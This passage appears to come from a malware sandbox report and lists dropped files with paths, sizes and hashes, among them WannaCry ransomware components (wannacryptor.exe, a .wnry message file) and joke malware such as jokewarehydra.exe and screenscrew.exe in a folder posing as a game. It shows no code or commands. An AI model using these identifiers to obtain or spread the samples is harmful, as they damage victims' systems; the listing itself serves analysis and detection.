                                                                                                                                                                                                                                          • Size 68KB
                                                                                                                                                                                                                                          • SHA256 db58369e888f471c8ac8ec1580ac96003788b7bf249ab02fae6d5160a2affdc3
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          flasher.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\flasher.exe
                                                                                                                                                                                                                                          • Size 246KB
                                                                                                                                                                                                                                          • SHA256 30676ad5dc94c3fec3d77d87439b2bf0a1aaa7f01900b68002a06f11caee9ce6
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          flowey.jpg
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\flowey.jpg
                                                                                                                                                                                                                                          • Size 6KB
                                                                                                                                                                                                                                          • SHA256 4adb074b763ae378b34a673226fc26191c0793b56295877aba5f625eaf6cc0fb
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          hydra.cmd
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\hydra.cmd
                                                                                                                                                                                                                                          • Size 47B
                                                                                                                                                                                                                                          • SHA256 a964a717e3c47cb7d274e98928ca1271377d0d76a8908448e1b70e63af4082ad
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          jokewarehydra.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\jokewarehydra.exe
                                                                                                                                                                                                                                          • Size 43KB
                                                                                                                                                                                                                                          • SHA256 0b6c0af51cde971b3e5f8aa204f8205418ab8c180b79a5ac1c11a6e0676f0f7c
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          m_finnish.wnry
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\msg\m_finnish.wnry
                                                                                                                                                                                                                                          • Size 37KB
                                                                                                                                                                                                                                          • SHA256 1adfee058b98206cb4fbe1a46d3ed62a11e1dee2c7ff521c1eef7c706e6a700e
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          reg.reg
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\reg.reg
                                                                                                                                                                                                                                          • Size 25KB
                                                                                                                                                                                                                                          • SHA256 405d47dca73a5d6180db42e90c35931047c666ed1f1d6fab5ead6110c2356cc7
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          spam.bat
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\spam.bat
                                                                                                                                                                                                                                          • Size 158B
                                                                                                                                                                                                                                          • SHA256 b997f3a0d79493418f3e9da03dd95aea6b45b8a8c454e8e7d1f06de3ad3e1111
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          wannacryptor.exe
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\wannacryptor.exe
                                                                                                                                                                                                                                          • Size 3.4MB
                                                                                                                                                                                                                                          • SHA256 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          wtf.PNG
                                                                                                                                                                                                                                          • Path C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\wtf.PNG
                                                                                                                                                                                                                                          • Size 165KB
                                                                                                                                                                                                                                          • SHA256 f04378e355e197709c8991fc6412be1fc0bf9802a3ce98b892afac2e9e694812
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          USA~dgov Updates~c News and Features~.feed-ms
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Local\Microsoft\Feeds\Feeds for United States~\USA~dgov Updates~c News and Features~.feed-ms
                                                                                                                                                                                                                                          • Size 28KB
                                                                                                                                                                                                                                          • SHA256 4cb76ed15433203c48e7b1ef18a32ce62758462b1e0c514b2682ded59511c699
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          FSD-{9403E253-9675-4BDD-BD50-317311EBA26D}.FSD
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{9403E253-9675-4BDD-BD50-317311EBA26D}.FSD
                                                                                                                                                                                                                                          • Size 128KB
                                                                                                                                                                                                                                          • SHA256 22fb9b82a24a64d9780c5bd7155b683497d2c295f401962ce4096af2654a7d92
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          FSD-CNRY.FSD
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD
                                                                                                                                                                                                                                          • Size 128KB
                                                                                                                                                                                                                                          • SHA256 62a25d8a3d87846c727fbe1651ef2bf8e3b40772846b619d80af5d8feec61b12
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          FSD-{CA3FE57B-02C8-4034-8F99-14CF9C1A1831}.FSD
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{CA3FE57B-02C8-4034-8F99-14CF9C1A1831}.FSD
                                                                                                                                                                                                                                          • Size 128KB
                                                                                                                                                                                                                                          • SHA256 c00b4c9512e6c01fe4d21011f367c04d9d714f7c9635095c1fb5d3b3e4dff539
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          edb.log
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Local\Microsoft\Windows Mail\edb.log
                                                                                                                                                                                                                                          • Size 2.0MB
                                                                                                                                                                                                                                          • SHA256 073c7bd5af02285438b950d142936522b5dac412f37e3c3254fc600a1b16191f
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          edb.log
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Local\Microsoft\Windows Mail\edb.log
                                                                                                                                                                                                                                          • Size 2.0MB
                                                                                                                                                                                                                                          • SHA256 103447460b6a134ea0e7986e65cc836e04cecc331ebc6b3671ebe4d54574546b
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          tmp.edb
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Local\Microsoft\Windows Mail\tmp.edb
                                                                                                                                                                                                                                          • Size 128KB
                                                                                                                                                                                                                                          • SHA256 c1e6c1de033f540bda5f1c8804b200e325e1b87fab420ef5f20f2993007f432e
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          WMSDKNS.XML
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
                                                                                                                                                                                                                                          • Size 9KB
                                                                                                                                                                                                                                          • SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini
                                                                                                                                                                                                                                          • Size 174B
                                                                                                                                                                                                                                          • SHA256 feea416e5e5c8aa81416b81fb25132d1c18b010b02663a253338dbdfb066e122
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          {DF738649-A41D-4328-8865-91A652D6928B}
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Local\Temp\{DF738649-A41D-4328-8865-91A652D6928B}
                                                                                                                                                                                                                                          • Size 128KB
                                                                                                                                                                                                                                          • SHA256 b9227b1c0e881648f86bcc971992d93eb846315dab627d1d865a0be30850e931
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Internet Explorer.lnk
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk
                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                          • SHA256 2d1d2bf963c72afbaf4def06f2df27c2f02fa3eb94244890a134e2ff487bac6d
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Windows Explorer.lnk
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Windows Explorer.lnk
                                                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                                                          • SHA256 20b9ba1869ed5d109962522c7c9a09e2675c457edd780f3723d33f9b40475772
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini
                                                                                                                                                                                                                                          • Size 82B
                                                                                                                                                                                                                                          • SHA256 8e920d7893b682a049f6a5097f880d915dc2d7bf8bc87ae558cd7f14466d5d1b
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini
                                                                                                                                                                                                                                          • Size 146B
                                                                                                                                                                                                                                          • SHA256 7f0a9cc0be951d60d6c8e60d1a612bfa65fa390020d7c0c80f212ba2a47a4aa3
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Documents.library-ms
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms
                                                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                                                          • SHA256 9f710ac8c3a9ebafbed1a04341d3afdf02f1808e428f456f7fcee48502a3acb7
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Documents.library-ms
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms
                                                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                                                          • SHA256 960a56f810b80729c3f8e9711a2cf821d1110441db23d64504322fc94cf11b86
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Music.library-ms
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms
                                                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                                                          • SHA256 279a2b7f1b66c8acb597e35c6aa208fc5bcd37042a59af1f6a51303a87bf88da
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Music.library-ms
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms
                                                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                                                          • SHA256 35cbf4abd121786bd43a07885aeedf461081a44c3787f942183f49b7d8ccc236
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Pictures.library-ms
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms
                                                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                                                          • SHA256 e2bacad905a0b1130212c3d69f574d2afea2a81dc88f2c927d611a8a6efd731e
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Pictures.library-ms
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms
                                                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                                                          • SHA256 dd2f757079b88d825e658d1364dba498101cd174344e4a10b8f0a4c90ccddc22
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Videos.library-ms
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms
                                                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                                                          • SHA256 cd8bed1c150752a64c38c76e8b1ef3506463d0831dfbed34374d391ed619118f
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Videos.library-ms
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms
                                                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                                                          • SHA256 6b6a971adc6b7738f587e4c34e05d822d91232a12e9552d06ca71ec934cd6687
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini
                                                                                                                                                                                                                                          • Size 87B
                                                                                                                                                                                                                                          • SHA256 d3cdda5c91a4998c77a697056ab5b3f23f44483de31714d3a069e4a67055c518
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini
                                                                                                                                                                                                                                          • Size 213B
                                                                                                                                                                                                                                          • SHA256 c6a3db953cc63f23aa5ff66de5fc6b483f6a1106cf1f77cbd73617b2c4340e0e
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini
                                                                                                                                                                                                                                          • Size 274B
                                                                                                                                                                                                                                          • SHA256 01bef150c18e377a57843965d55f18f0b5cb3fa867c5ab30f1e67eacd6ece48a
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini
                                                                                                                                                                                                                                          • Size 432B
                                                                                                                                                                                                                                          • SHA256 eb315c9d165b4916e3b00e4d148b53a6c03a2f0694a6a8821d98e76f935ca6a8
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini
                                                                                                                                                                                                                                          • Size 174B
                                                                                                                                                                                                                                          • SHA256 be49aff1e82fddfc2ab9dfffcb7e7be100800e3653fd1d12b6f8fa6a0957fcac
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Google Chrome.lnk
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
                                                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                                                          • SHA256 79ba8cc63f5ddd035a4f255e38ce1d917419a5c7672ea0d137b7db548521b8d4
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini
                                                                                                                                                                                                                                          • Size 174B
                                                                                                                                                                                                                                          • SHA256 cdb11958506a5ba5478e22ed472fa3ae422fe9916d674f290207e1fc29ae5a76
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
                                                                                                                                                                                                                                          • Size 174B
                                                                                                                                                                                                                                          • SHA256 768b6fde6149d9ebbed1e339a72e8cc8c535e5c61d7c82752f7dff50923b7aed
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
                                                                                                                                                                                                                                          • Size 338B
                                                                                                                                                                                                                                          • SHA256 9284bd835c20f5da3f76bc1d8c591f970a74e62a7925422858e5b9fbec08b927
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
                                                                                                                                                                                                                                          • Size 174B
                                                                                                                                                                                                                                          • SHA256 8e00a24ae458effe00a55344f7f34189b4594613284745ff7d406856a196c531
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Contacts\desktop.ini
                                                                                                                                                                                                                                          • Size 432B
                                                                                                                                                                                                                                          • SHA256 840b46ed74821b5b61ca9ddc51a91cfe9151d11a494c89f183fadc02a78ac8ae
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Contacts\desktop.ini
                                                                                                                                                                                                                                          • Size 412B
                                                                                                                                                                                                                                          • SHA256 48a6703a09f1197ee85208d5821032b77d20b3368c6b4de890c44fb482149cf7
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Desktop\desktop.ini
                                                                                                                                                                                                                                          • Size 174B
                                                                                                                                                                                                                                          • SHA256 3fe672d8ff2f97f593389145a5177f964f1eeb64e56796a12b9b19d7a2dd73cd
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Desktop\desktop.ini
                                                                                                                                                                                                                                          • Size 282B
                                                                                                                                                                                                                                          • SHA256 4b9d687ac625690fd026ed4b236dad1cac90ef69e7ad256cc42766a065b50026
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Documents\desktop.ini
                                                                                                                                                                                                                                          • Size 402B
                                                                                                                                                                                                                                          • SHA256 cafec240d998e4b6e92ad1329cd417e8e9cbd73157488889fd93a542de4a4844
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Downloads\desktop.ini
                                                                                                                                                                                                                                          • Size 282B
                                                                                                                                                                                                                                          • SHA256 b029393ea7b7cf644fb1c9f984f57c1980077562ee2e15d0ffd049c4c48098d3
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Web Slice Gallery.url
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Favorites\Links\Web Slice Gallery.url
                                                                                                                                                                                                                                          • Size 134B
                                                                                                                                                                                                                                          • SHA256 c4ad21379c11da7943c605eadb22f6fc6f54b49783466f8c1f3ad371eb167466
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          Web Slice Gallery.url
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Favorites\Links\Web Slice Gallery.url
                                                                                                                                                                                                                                          • Size 226B
                                                                                                                                                                                                                                          • SHA256 729111c923821a7ad0bb23d1a1dea03edbf503cd8b732e2d7eb36cf88eaa0cac
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Favorites\desktop.ini
                                                                                                                                                                                                                                          • Size 402B
                                                                                                                                                                                                                                          • SHA256 a45e345556901cd98b9bf8700b2a263f1da2b2e53dbdf69b9e6cfab6e0bd3464
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Links\desktop.ini
                                                                                                                                                                                                                                          • Size 282B
                                                                                                                                                                                                                                          • SHA256 3830022d5d7ef2ae2ca0a2b6ad73f0d4716b49bf7eeeaa87b618988d531b7c72
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Links\desktop.ini
                                                                                                                                                                                                                                          • Size 538B
                                                                                                                                                                                                                                          • SHA256 6c75a78a339ab546b553a0aaa90756da9dbbc2b14a7fa75ae5f13cc210bba7e7
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Links\desktop.ini
                                                                                                                                                                                                                                          • Size 580B
                                                                                                                                                                                                                                          • SHA256 4c0d757717dec80eca8c6cbbfdda4706eb38fbbb7624933d5429dafc7bb9f0ec
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Music\desktop.ini
                                                                                                                                                                                                                                          • Size 2B
                                                                                                                                                                                                                                          • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Music\desktop.ini
                                                                                                                                                                                                                                          • Size 504B
                                                                                                                                                                                                                                          • SHA256 8301e344371b0753d547b429c5fe513908b1c9813144f08549563ac7f4d7da68
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Pictures\desktop.ini
                                                                                                                                                                                                                                          • Size 504B
                                                                                                                                                                                                                                          • SHA256 88856962cef670c087eda4e07d8f78465beeabb6143b96bd90f884a80af925b4
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Searches\desktop.ini
                                                                                                                                                                                                                                          • Size 278B
                                                                                                                                                                                                                                          • SHA256 1dc14736f6b0e9b68059324321acc14e156cd3a2890466a23bf7abf365d6c704
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Searches\desktop.ini
                                                                                                                                                                                                                                          • Size 524B
                                                                                                                                                                                                                                          • SHA256 a9e8ad0792b546a4a8ce49eda82b327ad9581141312efec3ac6f2d3ad5a05f17
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path C:\Users\GO BACK!\Videos\desktop.ini
                                                                                                                                                                                                                                          • Size 504B
                                                                                                                                                                                                                                          • SHA256 b287b639f6edd612f414caf000c12ba0555adb3a2643230cbdd5af4053284978
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          RGIF180.tmp
                                                                                                                                                                                                                                          • Path C:\Users\GOBACK~1\AppData\Local\Temp\RGIF180.tmp
                                                                                                                                                                                                                                          • Size 24KB
                                                                                                                                                                                                                                          • SHA256 dfd64231860c732dced3dc78627a7844a08d5d3e4cd253fd81186bae33cc368a
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          desktop.ini
                                                                                                                                                                                                                                          • Path F:\$RECYCLE.BIN\S-1-5-21-2172136094-3310281978-782691160-1001\desktop.ini
                                                                                                                                                                                                                                          • Size 129B
                                                                                                                                                                                                                                          • SHA256 e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          walliant.tmp
                                                                                                                                                                                                                                          • Path \Users\Admin\AppData\Local\Temp\is-LI7AF.tmp\walliant.tmp
                                                                                                                                                                                                                                          • Size 2.5MB
                                                                                                                                                                                                                                          • SHA256 bd54ad7a25594dc823572d9b23a3490ff6b8b1742a75e368d110421ab08909b2
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          AxInterop.ShockwaveFlashObjects.dll
                                                                                                                                                                                                                                          • Path \Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\AxInterop.ShockwaveFlashObjects.dll
                                                                                                                                                                                                                                          • Size 17KB
                                                                                                                                                                                                                                          • SHA256 0d57a706d4e10cca3aed49b341a651f29046f5ef1328878d616be93c3b4cbce9
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          calc.exe
                                                                                                                                                                                                                                          • Path \Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\calc.exe
                                                                                                                                                                                                                                          • Size 112KB
                                                                                                                                                                                                                                          • SHA256 37121ecb7c1e112b735bd21b0dfe3e526352ecb98c434c5f40e6a2a582380cdd
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          screenscrew.exe
                                                                                                                                                                                                                                          • Path \Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\screenscrew.exe
                                                                                                                                                                                                                                          • Size 111KB
                                                                                                                                                                                                                                          • SHA256 e03520794f00fb39ef3cfff012f72a5d03c60f89de28dbe69016f6ed151b5338
                                                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                                                          walliant.exe
